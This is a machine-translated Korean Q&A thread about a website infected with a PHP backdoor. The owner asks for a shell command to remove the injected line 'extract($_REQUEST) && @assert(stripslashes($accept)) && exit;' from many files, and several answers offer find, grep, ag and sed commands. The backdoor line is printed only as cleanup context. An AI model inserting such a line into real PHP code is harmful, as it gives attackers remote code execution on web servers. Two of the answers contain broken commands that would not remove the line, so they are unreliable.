한 번에 여러 파일의 텍스트를 찾아 삭제하는 Linux 명령

한 번에 여러 파일의 텍스트를 찾아 삭제하는 Linux 명령

내 웹사이트가 바이러스에 감염되었습니다. 바이러스는 내 웹사이트의 여러 파일에 이 줄을 추가했습니다. 내 생각은 터미널의 유일한 명령을 사용하여 이 텍스트 줄을 삭제하는 것입니다.

"file-1.php", "file-2.php" 등의 파일이 포함된 "my-folder" 폴더가 있다고 가정해 보겠습니다.

또한 여러 파일이 감염되었다고 가정합니다.

여러 파일에서 이 코드 줄을 찾아 삭제하는 명령이 있습니까?즉시?

삭제할 텍스트: extract($_REQUEST) && @assert(stripslashes($accept)) && 종료;

이것을 찾았지만 단일 파일에서만 작동합니다.

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

내가 할 수 있을까?

답변1

  1. 결합하여 재귀적 sed으로 find만들 수 있습니다. 이 같은:

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    현재 디렉토리 트리를 순회하고 기존 "*php" 파일 각각에 sed를 적용한다는 점에 유의하세요. 또한 변경된 각 파일에 대해 .bak 백업 파일을 생성합니다(만약의 경우 나중에 복원할 수 있도록). 백업이 필요하지 않으면 -i.bak으로 바꾸십시오 -i. 그렇지 않으면 나중에 find . -name "*php.bak" -delete.

  2. 이 단계는 모든 것을 즉시 해결하는 데 도움이 되지는 않지만 앞으로 시간을 확실히 절약해 줍니다. 아래 스크립트가 포함된 디렉터리를 저장합니다 git(이상적으로는 완전한 CI/CD 솔루션이어야 하지만 git start로 시작할 수 있습니다). 따라서 파일에 적용된 변경 사항을 쉽게 롤백/포워드할 수 있습니다.

답변2

악성 문자열이 포함된 파일을 검색하고 다음 명령을 사용하여 편집합니다 sed.

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

나는 자주 의지한다.agphp이 플래그가 있는 파일 만 검색됩니다 --php. 원하는 경우 다음을 수행하여 동일한 작업을 수행할 수 있습니다 grep -r -i --include \*.php.

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

답변3

귀하의 명령에 따라 "for 루프"를 사용하여 이 작업을 수행하는 것이 좋습니다.

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

file-1.php file-2.php file-n.php에 "for i"로 원하는 파일을 추가할 수도 있습니다.

답변4

다음을 사용하여 파일에서 특정 패턴이 포함된 행을 삭제할 수 있습니다.

for 루프에서 파일을 언급할 수 있습니다.

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

관련 정보